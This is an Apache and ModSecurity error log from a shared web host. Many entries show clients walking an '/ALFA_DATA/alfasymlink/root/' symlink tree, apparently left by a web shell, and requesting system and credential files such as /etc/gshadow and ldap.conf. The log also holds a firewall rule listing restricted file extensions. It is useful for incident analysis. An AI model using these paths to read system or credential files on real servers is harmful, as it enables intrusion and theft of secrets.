"/ALFA_DATA/alfasymlink/root/etc/openldap/ldap.conf"] [unique_id "at09m3xUk1Q9Uwuht9UDtwAAAAE"]
[Sat Oct 24 19:22:03.829943 2026] [security2:error] [pid 2707162:tid 2707162] [client 16.216.88.195:8192] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/openldap/ldap.conf"] [unique_id "at09m3xUk1Q9Uwuht9UDtwAAAAE"]
[Sat Oct 24 19:22:03.830253 2026] [security2:error] [pid 2707162:tid 2707162] [client 16.216.88.195:8192] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/openldap/ldap.conf"] [unique_id "at09m3xUk1Q9Uwuht9UDtwAAAAE"]
[Sat Oct 24 19:22:06.211222 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 3.210.114.189:1194] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:22:10.275543 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 44.215.210.112:8559] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:22:12.465537 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 185.191.171.9:64042] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:22:14.197551 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 3.93.253.174:52194] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:22:18.352152 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 23.21.148.226:53253] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:22:26.320319 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 54.92.171.106:61992] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:22:30.394444 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 3.89.176.255:53199] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:22:34.314412 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 3.220.148.166:21792] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:22:38.219491 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 34.196.114.170:22590] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:23:02.506532 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 34.192.125.239:26666] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:23:06.210077 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 35.174.253.85:19902] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:23:10.427314 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 54.84.161.62:13237] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:23:14.226311 2026] [core:error] [pid 2684583:tid 2684583] (13)Permission denied: [client 54.84.250.51:45452] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:01/physical_node/node0/memory13/node0/memory16/subsystem/uevent
[Sat Oct 24 19:23:26.313069 2026] [core:error] [pid 2693020:tid 2693020] (13)Permission denied: [client 52.205.113.104:56328] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/event2/device/device/subsystem/drivers/atkbd/serio0/firmware_node/subsystem/devices/device:08/eject
[Sat Oct 24 19:23:29.293623 2026] [core:error] [pid 2707162:tid 2707162] (13)Permission denied: [client 85.208.96.201:10546] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/rpc_inode_cache/ctor
[Sat Oct 24 19:23:30.213200 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 34.234.197.175:59466] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:23:38.212835 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 98.83.177.42:27671] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:23:42.226513 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 3.90.73.206:63677] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:23:54.214207 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 34.195.248.30:19465] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:24:06.215273 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 34.194.95.99:14967] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:24:10.218051 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 52.71.216.196:52349] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:24:15.167090 2026] [core:error] [pid 2693020:tid 2693020] (13)Permission denied: [client 85.208.96.207:64272] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/net/rpc/auth.unix.gid/content
[Sat Oct 24 19:24:18.415042 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 34.236.41.241:9209] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:24:22.371632 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 52.7.13.143:5358] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:24:30.371286 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 98.84.70.201:11785] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:24:34.443024 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 52.71.216.196:53360] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:24:38.466175 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 18.214.138.148:21257] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:24:39.369951 2026] [core:error] [pid 2692979:tid 2692979] (13)Permission denied: [client 185.191.171.18:54414] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dax_cache/total_objects
[Sat Oct 24 19:24:46.382032 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 34.196.6.199:11195] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:24:50.784942 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 3.93.211.16:15128] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:24:57.720220 2026] [core:error] [pid 2692918:tid 2692918] (13)Permission denied: [client 185.191.171.3:55164] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/net_failover/sections/__ksymtab_strings
[Sat Oct 24 19:24:58.354460 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 52.205.141.124:41528] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:25:06.357124 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 3.222.85.38:46805] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:25:10.521535 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 100.29.128.75:10530] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:25:14.350868 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 44.209.89.189:13383] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:25:18.361083 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 18.214.238.178:1325] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:25:26.467126 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 3.213.213.161:34628] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:25:35.706577 2026] [core:error] [pid 2693034:tid 2693034] (13)Permission denied: [client 52.21.62.139:56363] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/usb/devices/1-0:1.0/subsystem/drivers/usb/uevent
[Sat Oct 24 19:25:38.255887 2026] [core:error] [pid 2693020:tid 2693020] (13)Permission denied: [client 184.72.95.195:62241] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input1/event1/subsystem/input3/subsystem/event3/device/device/driver/unbind
[Sat Oct 24 19:25:46.468119 2026] [security2:error] [pid 2707162:tid 2707162] [client 18.207.79.144:11128] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/cpu/cpu1/node0/memory21/node0/memory1/subsystem/devices/memory11/"] [unique_id "at0-enxUk1Q9Uwuht9UDvwAAAAE"]
[Sat Oct 24 19:25:46.468179 2026] [security2:error] [pid 2707162:tid 2707162] [client 18.207.79.144:11128] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/cpu/cpu1/node0/memory21/node0/memory1/subsystem/devices/memory11/"] [unique_id "at0-enxUk1Q9Uwuht9UDvwAAAAE"]
[Sat Oct 24 19:25:54.370151 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 54.235.158.162:48173] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:25:54.510169 2026] [core:error] [pid 2692918:tid 2692918] (13)Permission denied: [client 185.191.171.12:48914] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/etc/gshadow
[Sat Oct 24 19:25:58.226276 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 44.212.145.46:21010] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:26:09.672391 2026] [core:error] [pid 2693034:tid 2693034] (13)Permission denied: [client 85.208.96.204:38250] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avc_xperms_decision_node/usersize
[Sat Oct 24 19:26:13.418905 2026] [core:error] [pid 2707162:tid 2707162] (13)Permission denied: [client 185.191.171.12:58248] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/nfnetlink/sections/__bug_table
[Sat Oct 24 19:26:14.242668 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 34.234.197.175:4127] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:26:22.265308 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 54.197.82.195:18121] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:26:34.219311 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 3.232.102.111:16527] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:26:38.350599 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 50.19.102.70:42951] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:26:54.404073 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 44.212.145.46:35613] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:27:02.390923 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 52.54.15.103:48399] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:27:10.257765 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 98.84.200.43:44591] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:27:14.212524 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 44.223.232.55:33870] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:27:30.242753 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 100.28.49.152:1170] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:27:31.660992 2026] [core:error] [pid 2692979:tid 2692979] (13)Permission denied: [client 85.208.96.209:54274] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/taskstats/validate
[Sat Oct 24 19:27:32.897954 2026] [authz_core:error] [pid 2693034:tid 2693034] [client 17.166.25.226:39626] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 19:27:42.334961 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 52.6.232.201:37468] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:27:50.672085 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 52.207.47.227:5468] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:27:54.216822 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 3.223.181.32:63340] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:28:06.376554 2026] [core:error] [pid 2693020:tid 2693020] (13)Permission denied: [client 34.226.89.140:56212] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/drm/card0/device/firmware_node/physical_node/driver/remove_id
[Sat Oct 24 19:28:14.247416 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 184.73.167.217:48730] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:28:34.236612 2026] [core:error] [pid 2693034:tid 2693034] (13)Permission denied: [client 44.215.235.20:41984] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/PNP0303:00/subsystem/devices/LNXSYBUS:00/PNP0A03:00/physical_node/0000:00:00.0/rescan
[Sat Oct 24 19:28:42.336526 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 107.23.62.75:16374] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:28:47.989274 2026] [core:error] [pid 2692918:tid 2692918] (13)Permission denied: [client 85.208.96.195:36752] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ksm_mm_slot/objects_partial
[Sat Oct 24 19:28:50.479794 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 18.210.58.238:9298] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:28:54.299782 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 35.169.102.85:37493] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:28:57.959838 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 185.191.171.7:18458] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:29:10.263022 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 52.73.142.41:46938] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:29:18.548754 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 52.200.142.199:60427] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:29:26.337469 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 3.226.34.98:29379] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:29:38.210449 2026] [core:error] [pid 2677776:tid 2677776] (13)Permission denied: [client 3.227.180.70:3351] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:14/subsystem/devices/device:06/eject
[Sat Oct 24 19:29:46.222226 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 50.16.216.166:26936] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:30:02.284027 2026] [core:error] [pid 2707162:tid 2707162] (13)Permission denied: [client 44.217.177.142:27191] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:19/subsystem/devices/device:04/physical_node/resource4_wc
[Sat Oct 24 19:30:06.221241 2026] [core:error] [pid 2677776:tid 2677776] (13)Permission denied: [client 52.205.222.214:55183] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/ttyS0/subsystem/tty18/subsystem/ttyS3/port
[Sat Oct 24 19:30:10.513270 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 18.207.79.144:15595] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:30:14.477870 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 44.212.131.50:62229] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:30:18.201635 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 35.170.205.140:52767] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:30:22.419261 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 100.29.160.53:32159] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:30:30.371129 2026] [core:error] [pid 2693017:tid 2693017] (13)Permission denied: [client 23.23.99.55:4607] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/PNP0A03:00/device:06/physical_node/driver/0000:00:03.0/subsystem/drivers/virtio-pci/0000:00:04.0/resource1
[Sat Oct 24 19:30:32.133775 2026] [core:error] [pid 2707162:tid 2707162] (13)Permission denied: [client 185.191.171.1:23172] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-512/free_calls
[Sat Oct 24 19:30:34.233172 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 185.191.171.6:53726] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:30:35.354742 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 185.191.171.17:35642] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:30:42.224482 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 50.19.221.48:11086] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:30:46.385981 2026] [core:error] [pid 2693020:tid 2693020] (13)Permission denied: [client 54.225.199.17:23957] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/device:0c/subsystem/devices/PNP0A03:00/device:18/eject
[Sat Oct 24 19:30:58.887558 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 52.22.64.232:20837] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:31:01.038414 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 185.191.171.7:32240] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:31:02.454111 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 54.197.82.195:30221] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:31:06.686640 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 3.224.205.25:35917] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:31:14.367601 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 107.20.25.33:32189] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:31:34.396904 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 44.217.177.142:28777] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:31:46.232145 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 184.73.239.35:61332] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:31:58.389342 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 98.82.38.120:6908] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:32:10.593464 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 34.205.170.13:63862] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:32:14.341471 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 34.233.114.237:9519] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:32:22.346407 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 98.83.10.183:24110] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:32:38.475756 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 23.23.214.190:33131] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:32:42.235426 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 44.212.131.50:2552] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:32:54.212205 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 185.191.171.11:47530] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:33:02.083280 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 185.191.171.15:25456] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:33:02.360972 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 54.197.82.195:61200] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:33:10.370385 2026] [core:error] [pid 2693035:tid 2693035] (13)Permission denied: [client 98.82.107.102:32421] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:03.0/subsystem/drivers/8250_mid/new_id
[Sat Oct 24 19:33:14.140423 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 185.191.171.8:49856] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:33:14.346353 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 34.194.95.99:37822] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:33:22.222015 2026] [security2:error] [pid 2693017:tid 2693017] [client 54.84.250.51:14486] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/wakeup/wakeup7/device/physical_node/0000:00:01.1/subsystem/devices/0000:00:01.0/firmware_node/PNP0400:00/subsystem/devices/LNXSYBUS:00/power/"] [unique_id "at1AQivtCA9Mk3h2rl2ldwAAABM"]
[Sat Oct 24 19:33:22.222074 2026] [security2:error] [pid 2693017:tid 2693017] [client 54.84.250.51:14486] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/wakeup/wakeup7/device/physical_node/0000:00:01.1/subsystem/devices/0000:00:01.0/firmware_node/PNP0400:00/subsystem/devices/LNXSYBUS:00/power/"] [unique_id "at1AQivtCA9Mk3h2rl2ldwAAABM"]
[Sat Oct 24 19:33:26.275638 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 3.90.73.206:16976] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:33:34.265592 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 52.2.83.227:10173] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:33:42.241086 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 34.236.41.241:36415] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:34:10.397004 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 3.208.146.193:59070] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:34:18.253177 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 54.157.84.74:25987] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:34:30.269052 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 52.5.232.250:39312] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:34:34.358942 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 52.2.83.227:8919] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:34:38.214631 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 100.28.44.58:21054] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:34:42.358053 2026] [core:error] [pid 2693017:tid 2693017] (13)Permission denied: [client 54.85.7.119:28693] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:02.0/subsystem/drivers/ata_piix/0000:00:01.1/driver/unbind
[Sat Oct 24 19:34:46.374759 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 54.235.191.179:42482] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:34:49.958192 2026] [security2:error] [pid 2677776:tid 2677776] [client 185.191.171.8:18906] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/lib/rear/layout/disktodo.conf"] [unique_id "at1AmWZJIyiQiKFtr2-8ZgAAABU"]
[Sat Oct 24 19:34:49.958570 2026] [security2:error] [pid 2677776:tid 2677776] [client 185.191.171.8:18906] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/lib/rear/layout/disktodo.conf"] [unique_id "at1AmWZJIyiQiKFtr2-8ZgAAABU"]
[Sat Oct 24 19:34:49.958966 2026] [security2:error] [pid 2677776:tid 2677776] [client 185.191.171.8:18906] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/lib/rear/layout/disktodo.conf"] [unique_id "at1AmWZJIyiQiKFtr2-8ZgAAABU"]
[Sat Oct 24 19:34:50.376679 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 98.83.72.38:18564] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:34:54.215900 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 100.28.204.82:41706] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:34:58.449731 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 54.84.147.79:24860] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:35:06.236462 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 107.20.224.184:11728] AH02013: coalesce failed to read from data bucket
